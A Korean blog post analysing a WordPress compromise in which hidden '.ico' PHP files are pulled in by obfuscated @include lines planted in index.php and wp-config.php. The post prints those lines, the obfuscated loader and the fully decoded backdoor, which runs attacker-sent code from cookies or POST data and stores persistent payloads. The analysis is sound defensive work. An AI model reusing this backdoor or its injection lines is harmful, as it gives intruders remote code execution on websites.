일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- NUGU
- Frida
- 로맨스스캠
- CryptoJS
- CJ대한통운 #쿠팡 #통관번호오류 #통관고유번호오류 #안주원팀장 #모건인베스트
- ssrf
- 거래사기
- 안전결제
- shell_gpt
- 취약점
- esbuild
- open redirect
- 중고나라
- 모의해킹
- 많다..
- intelmac
- XSS
- 척추관협착증
- 허리디스크
- Malware Sample
- 변태는
- 보이스피싱 #대검찰청 #명의도용 #비밀번호 #계좌번호 #공공기관 #가짜검찰청
- MongoDB #NoSQL #CreateUser #DropUser #mongod #mognod.conf
- speed-measure-webpack-plugin
- react
- ue4dumper
- Sequoia
- 채팅환전사기
- self-signed
- 네이버카페
- Today
- Total
annyoung
워드프레스 ico 악성코드 분석기.. 본문
수정내역
개요
여태까지 리눅스 파일 권한의 중요성을 몰랐다..
침해된것도 7일전 쯤 알았다. 아무튼 간에 영어로 쓰고 싶지만 한국사람들을 먼저..
지금도 고치는 법을 몰라서 열심히 계속 늘려가면서 써보겠다.
한 10월쯤 회사에 외국인이 들어오면서 git으로 wordpress를 버전관리하면서 사용하고 있었는데 어느날 갑자기 침해당해있었다.. 확인해보니 거의 1년간 침해된 사실을 모르고 있었다.
* main : wordpress 5.0.3 , avada theme 5.4.1
* plugins : elementor, xyz php injector ... etc
분석시작
for user in $(cut -f1 -d: /etc/passwd); do echo id $user; sudo crontab -u $user -l ; done |
악성파일이 계속 생기길래 크론탭을 확인해보았으나 이전에 등록했던 크론탭 밖에 없어서 그냥 내비뒀다.
우선 기업의 이미지를 위해서 블러처리를 했다.
해당 ico 파일은 파일명 앞에 .을 넣음으로써 숨김파일로 만들어져있었고 .bak는 내가 백업하려고 만들어뒀다.
* 다형성 악성코드로 판단되니까 check sum 값은 그냥 무시해도 된다. (그 이유는 다음에 나온다)
github에 올라와 있는 wordprss 원본 소스를 확인해봤으나 Diff 디렉터리에는 ico 따위는 없다.
1 2 3 4 | data****@360MUSEUM:/var/www/html$ find . -name "*.ico" ./wp-content/plugins/floating-div/.565c8c75.ico ./.git/objects/33/.447ed1db.ico data****@360MUSEUM:/var/www/html$ | cs |
거의 일주일이 지나고 그냥 삭제하자! 하고 삭제했었는데 다시 보니까 다른 디렉터리에 또 만들어졌다.
우선 여기만 봐도 파일명이 ".[랜덤8자리].ico"로 저장된다는걸 알 수 있다. 대부분의 악성코드나 백도어는 랜덤으로 파일명으로 드랍하는 경우 다형성 악성코드로 판단된다.
1 2 3 4 5 6 7 8 9 | data****@360MUSEUM:/var/www/html$ find . -name "*.ico" -type f -exec md5sum {} \; 6d90e880bb5c1f22d332eb420e76dea3 ./wp-content/plugins/floating-div/.565c8c75.ico 19aa5f991df1984daaa7ed78cdc61711 ./.git/objects/33/.447ed1db.ico data****@360MUSEUM:/var/www/html$ 퍄 ./wp-content/plugins/floating-div/^C data****@360MUSEUM:/var/www/html$ file ./wp-content/plugins/floating-div/.565c8c75.ico ./wp-content/plugins/floating-div/.565c8c75.ico: PHP script, ASCII text, with very long lines data****@360MUSEUM:/var/www/html$ cat ./wp-content/plugins/floating-div/.565c8c75.ico | wc -l 2 data****@360MUSEUM:/var/www/html$ | cs |
MD5 check sum 마저 다른걸 볼 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | data****@360MUSEUM:/var/www/html$ egrep -R "@include \"" /var/www/html/ /museum/inc/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico"; /museum/js/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co"; /museum/index.php:@include "\\057var/\\167ww/h\\164ml/w\\160-con\\164ent/\\160lugi\\156s/fl\\157atin\\147-div\\057.565\\1438c75\\056ico"; /embed/asset/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico"; /embed/index.php:@include "\057v\141r\057w\167w\057h\164m\154/\167p\055c\157n\164e\156t\057p\154u\147i\156s\057f\154o\141t\151n\147-\144i\166/\0565\0665\1438\1437\065.\151c\157"; /embed/css/index.php:@include "\057v\141r\057w\167w\057h\164m\154/\167p\055c\157n\164e\156t\057p\154u\147i\156s\057f\154o\141t\151n\147-\144i\166/\0565\0665\1438\1437\065.\151c\157"; /index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico"; /matter****/inc/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co"; /matter****/index.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o"; /matter****/debug/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co"; /matter****/user/index.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o"; /matter****/tour/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co"; /matter****/admin/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico"; /wp-config.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o"; /wp-snapshots/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co"; /logs_for_admin/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co"; /admin/js/index.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o"; /admin/fonts/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico"; /admin/utils/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico"; /admin/img/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico"; /admin/index.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o"; /admin/css/index.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o"; /admin/backend/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co"; /admin/tour/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico"; /wordpress/index.php:@include "\057v\141r\057w\167w\057h\164m\154/\167p\055c\157n\164e\156t\057p\154u\147i\156s\057f\154o\141t\151n\147-\144i\166/\0565\0665\1438\1437\065.\151c\157"; | cs |
해당 .[랜덤8자리]ico 파일들은 실행 가능한 모든 .php에서 볼수있다.
따라서 @include가 포함된 모든 파일들은 아래 소스코드를 실행할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | <?php $_3j0av = basename/*n8w*/ (/*46pw*/ trim/*073wp*/ (/*3x0vd*/ preg_replace/*4py1*/ (/*4xg*/ rawurldecode/*b*/ (/*uld4*/ "%2F%5C%28.%2A%24%2F"/*m0j*/)/*5*/, '', __FILE__/*q2*/)/*qi*//*va8*/)/*z2rgo*//*y8ptj*/)/*0dj*/ ; $_j7cb0 = "GS%16%1DB%5C%06Q%5C%40%0C%07G%09FBG%06Y%0EhVA%07%17%0AVAiV%11%5D%02..."; eval/*2n*/ (/*i1*/ rawurldecode/*3s*/ (/*xlf1*/ $_j7cb0/*5*/)/*w1*/ ^ substr/*ibhv*/ (/*tz4hu*/ str_repeat/*iqm*/ (/*fq8*/ $_3j0av, /*rf40*/ (/*zg*/ strlen/*x6w*/ (/*3*/ $_j7cb0/*j8efc*/)/*kjf*/ / strlen/*73g*/ (/*7jocu*/ $_3j0av/*bo8*/)/*dv*//*gunx*/)/*etu4s*/ + 1/*lj*/)/*xqw2*/, 0, strlen/*mr*/ (/*i5u1l*/ $_j7cb0/*b*/)/*3zg*//*ci*/)/*dcni8*//*f7*/)/*4et*/ ; | cs |
해당 ico 파일의 내부 소스코드는 위와 같다. 너무 긴 내용은 짤라서 수정했다.
eval을 echo로 치환하여 다음 커맨드라인을 실행한다. (여기서 중요시 해야 되는 부분은 파일명을 변경하면 안된다는것이다.)
1 | $ php .565c8c75.ico > decode.php | cs |
위와같이 php 파일을 실행하여 결과를 출력하면
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | <? if (!defined('stream_context_create ')) { define('stream_context_create ', 1); $nsrqb = 2406; function wcyumv($wjfhi, $hivcowczz) { $mdgjovw = ''; for ($i = 0; $i < strlen($wjfhi); $i++) { $mdgjovw .= isset($hivcowczz[$wjfhi[$i]]) ? $hivcowczz[$wjfhi[$i]] : $wjfhi[$i]; } $cpbfxbelw = "rawurl" . "decode"; return $cpbfxbelw($mdgjovw); } $rsrimcizgc = '%V3%Vw%V3%Vw%oVUQU_Pa1%ui%ueaRR9R_d9S%ue%uz%uVHt44%uC%5f%V3%Vw%oVUQU_Pa1%ui' . ... '%Vw%uV%uV%uV%uV6L1LU9dj%ui%uC%5f%V3%Vw%e3'; $zmrjjjgk = Array('1' => 't', '0' => 'S', '3' => 'D', '2' => 'R', '5' => '3', '4' => 'L', '7' => 'P', '6' => 'a', '9' => 'o', '8' => 'E', 'A' => 'Y', 'C' => '9', 'B' => 'u', 'E' => '1', 'D' => 'y', 'G' => 'H', 'F' => 'w', 'I' => 'T', 'H' => 'N', 'K' => 'I', 'J' => 'M', 'M' => 'z', 'L' => 'q', 'O' => '6', 'N' => 'p', 'Q' => 'n', 'P' => 's', 'S' => 'g', 'R' => 'r', 'U' => 'i', 'T' => 'd', 'W' => 'V', 'V' => '0', 'Y' => 'G', 'X' => 'j', 'Z' => 'J', 'a' => 'e', 'c' => 'Q', 'b' => '5', 'e' => '7', 'd' => 'l', 'g' => 'k', 'f' => 'B', 'i' => '8', 'h' => 'F', 'k' => 'b', 'j' => 'c', 'm' => 'X', 'l' => 'W', 'o' => '4', 'n' => 'O', 'q' => 'Z', 'p' => 'v', 's' => 'x', 'r' => 'K', 'u' => '2', 't' => 'U', 'w' => 'A', 'v' => 'm', 'y' => 'h', 'x' => 'f', 'z' => 'C'); eval/*jukogtj*/ (wcyumv($rsrimcizgc, $zmrjjjgk)); } | cs |
첫번째로 디코딩된 코드를 얻을 수 있다.
똑같은 방식으로 eval을 echo로 치환하여 진행하도록 한다.
1 | $ php decoded.php > decode-detail.php | cs |
한번더 디코딩하여 파일로 저장한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 | <?php @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); if(!defined("PHP_EOL")) { define("PHP_EOL", "\n"); } if(!defined("DIRECTORY_SEPARATOR")) { define("DIRECTORY_SEPARATOR", "/"); } if (!defined('file_put_contents ')) { define('file_put_contents ', 1); $ulvyriamydpk = '969188fa-fc27-4913-a107-e9120993f6cf'; global $ulvyriamydpk; function xeaysioy($ybsdmjs) { if (strlen($ybsdmjs) < 4) { return ""; } $vubfgjxt = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $vjqjwt = str_split($vubfgjxt); $vjqjwt = array_flip($vjqjwt); $pblzzhdj = 0; $ljfivjac = ""; $ybsdmjs = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $ybsdmjs); do { $uwyabpw = $vjqjwt[$ybsdmjs[$pblzzhdj++]]; $ekjsdrd = $vjqjwt[$ybsdmjs[$pblzzhdj++]]; $heemaswamyrkbg = $vjqjwt[$ybsdmjs[$pblzzhdj++]]; $zylubli = $vjqjwt[$ybsdmjs[$pblzzhdj++]]; $pecfsiu = ($uwyabpw << 2) | ($ekjsdrd >> 4); $rrfxrk = (($ekjsdrd & 15) << 4) | ($heemaswamyrkbg >> 2); $mjjinimnhfx = (($heemaswamyrkbg & 3) << 6) | $zylubli; $ljfivjac = $ljfivjac . chr($pecfsiu); if ($heemaswamyrkbg != 64) { $ljfivjac = $ljfivjac . chr($rrfxrk); } if ($zylubli != 64) { $ljfivjac = $ljfivjac . chr($mjjinimnhfx); } } while ($pblzzhdj < strlen($ybsdmjs)); return $ljfivjac; } if (!function_exists('file_put_contents')) { function file_put_contents($mjwfjug, $mjjini, $pewybuk = False) { $efmbxca = $pewybuk == 8 ? 'a' : 'w'; $heemaswa = @fopen($mjwfjug, $efmbxca); if ($heemaswa === False) { return 0; } else { if (is_array($mjjini)) $mjjini = implode($mjjini); $cjwgxqzp = fwrite($heemaswa, $mjjini); fclose($heemaswa); return $cjwgxqzp; } } } if (!function_exists('file_get_contents')) { function file_get_contents($kdrqmj) { $ulvyrinoznc = fopen($kdrqmj, "r"); $ugrkkayz = fread($ulvyrinoznc, filesize($kdrqmj)); fclose($ulvyrinoznc); return $ugrkkayz; } } function ddyquy() { return trim(preg_replace("/\(.*\$/", '', __FILE__)); } function owgojryx($rmpaduvg, $cifqbcqm) { $bbchwnz = ""; for ($pblzzhdj=0; $pblzzhdj<strlen($rmpaduvg);) { for ($ulvyri=0; $ulvyri<strlen($cifqbcqm) && $pblzzhdj<strlen($rmpaduvg); $ulvyri++, $pblzzhdj++) { $bbchwnz .= chr(ord($rmpaduvg[$pblzzhdj]) ^ ord($cifqbcqm[$ulvyri])); } } return $bbchwnz; } function tdlyqn($rmpaduvg, $cifqbcqm) { global $ulvyriamydpk; return owgojryx(owgojryx($rmpaduvg, $cifqbcqm), $ulvyriamydpk); } function lhvtpwx($rmpaduvg, $cifqbcqm) { global $ulvyriamydpk; return owgojryx(owgojryx($rmpaduvg, $ulvyriamydpk), $cifqbcqm); } function jkdddk() { $kcvyep = @file_get_contents(ddyquy()); $vtgkgz = strpos($kcvyep, md5(ddyquy())); if ($vtgkgz !== FALSE) { $xjfdfy = substr($kcvyep, $vtgkgz + 32); $hsgypcnh = @unserialize(tdlyqn(rawurldecode($xjfdfy), md5(ddyquy()))); } else { $hsgypcnh = Array(); } return $hsgypcnh; } function namfqq($hsgypcnh) { $pejqnflx = rawurlencode(lhvtpwx(@serialize($hsgypcnh), md5(ddyquy()))); $kcvyep = @file_get_contents(ddyquy()); $vtgkgz = strpos($kcvyep, md5(ddyquy())); if ($vtgkgz !== FALSE) { $ulvyrizlwwm = substr($kcvyep, $vtgkgz + 32); $kcvyep = str_replace($ulvyrizlwwm, $pejqnflx, $kcvyep); } else { $kcvyep = $kcvyep . "\n\n//" . md5(ddyquy()) . $pejqnflx; } @file_put_contents(ddyquy(), $kcvyep); } function pvhahcaj($mjjiniorxywz, $zhvtsqy) { $hsgypcnh = jkdddk(); $hsgypcnh[$mjjiniorxywz] = xeaysioy($zhvtsqy); namfqq($hsgypcnh); } function rocqwop($mjjiniorxywz) { $hsgypcnh = jkdddk(); unset($hsgypcnh[$mjjiniorxywz]); namfqq($hsgypcnh); } function aqtqiolc($mjjiniorxywz=NULL) { foreach (jkdddk() as $mjjinimnqimku=>$xkyimzk) { if ($mjjiniorxywz) { if (strcmp($mjjiniorxywz, $mjjinimnqimku) == 0) { eval($xkyimzk); break; } } else { eval($xkyimzk); } } } foreach (array_merge($_COOKIE, $_POST) as $kjeygjx => $rmpaduvg) { $rmpaduvg = @unserialize(tdlyqn(xeaysioy($rmpaduvg), $kjeygjx)); if (isset($rmpaduvg['ak']) && $ulvyriamydpk==$rmpaduvg['ak']) { if ($rmpaduvg['a'] == 'i') { $pblzzhdj = Array( 'pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $rmpaduvg['ak'], ); echo @serialize($pblzzhdj); exit; } elseif ($rmpaduvg['a'] == 'e') { eval($rmpaduvg['d']); } elseif ($rmpaduvg['a'] == 'plugin') { if($rmpaduvg['sa'] == 'add') { pvhahcaj($rmpaduvg['p'], $rmpaduvg['d']); } elseif($rmpaduvg['sa'] == 'rem') { rocqwop($rmpaduvg['p']); } } echo $rmpaduvg['ak']; exit(); } } aqtqiolc(); } | cs |
최종적으로 위와 같은 코드를 얻는다.
*** 여기서부터 분석하기전에 모든 eval을 echo로 치환하길 바란다. ***
238번 라인의 aqtqiolc() 를 tracing 하다보면 몇개의 call function이 보인다.
그중에서도 주기적으로 나오는 function ddyquy()를 만나게 된다.
function ddyquy()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
(번외지만 phpstorm에서 복사해서 여기에 붙여넣기하면 color highlighting이 되네...)
해당 함수는 현재 파일을 만난다.
===> 여기서부터는 시간되는대로 계속 분석하겠다.
치료방법
치료하는 방법은 아직 정확하게 찾지 못했지만 wordfence라는 wordpress plugin을 설치함으로써 attacker의 suspicious packet을 모두 abort 시켜준다.
항상 오전 6시에 attacker가 공격을 시도했었지만 로깅이 안되어서 할방법이 없었지만 wordfence에서 자동으로 prevent 해준다는 점이다.
또 이 플러그인이 좋은점은 Firewall learning mode라는 것을 통해서 inbound packet을 분류하여 abort할 firewall 규칙을 자동으로 추가해준다.
하지만 그 기간동안은 logging이 안된다고 한다. 추후 더 써보도록 하겠다.
Wordfence URL : https://ko.wordpress.org/plugins/wordfence/
* 참고 사이트 :
참고1. 해당 악성코드 분석 내용 : https://blog.manchestergreyhats.co.uk/2018/11/07/php-malware-examination/
참고2. 모든 crontab 확인 : https://ch7895.wordpress.com/2013/01/22/%EB%AA%A8%EB%93%A0-cron-%ED%99%95%EC%9D%B8/
'분석생활' 카테고리의 다른 글
모의해킹 시 참고사항 (0) | 2020.08.21 |
---|---|
오랜만에 중년기사 김봉식 앱 분석 (2) | 2019.07.05 |
DHL을 가장한 피싱 (0) | 2016.03.23 |
Fedex를 이용한 스피어피싱 (1) | 2016.03.03 |
페북에서 올라온 통화녹음 번호정보없음 이슈에 대해 (0) | 2016.02.12 |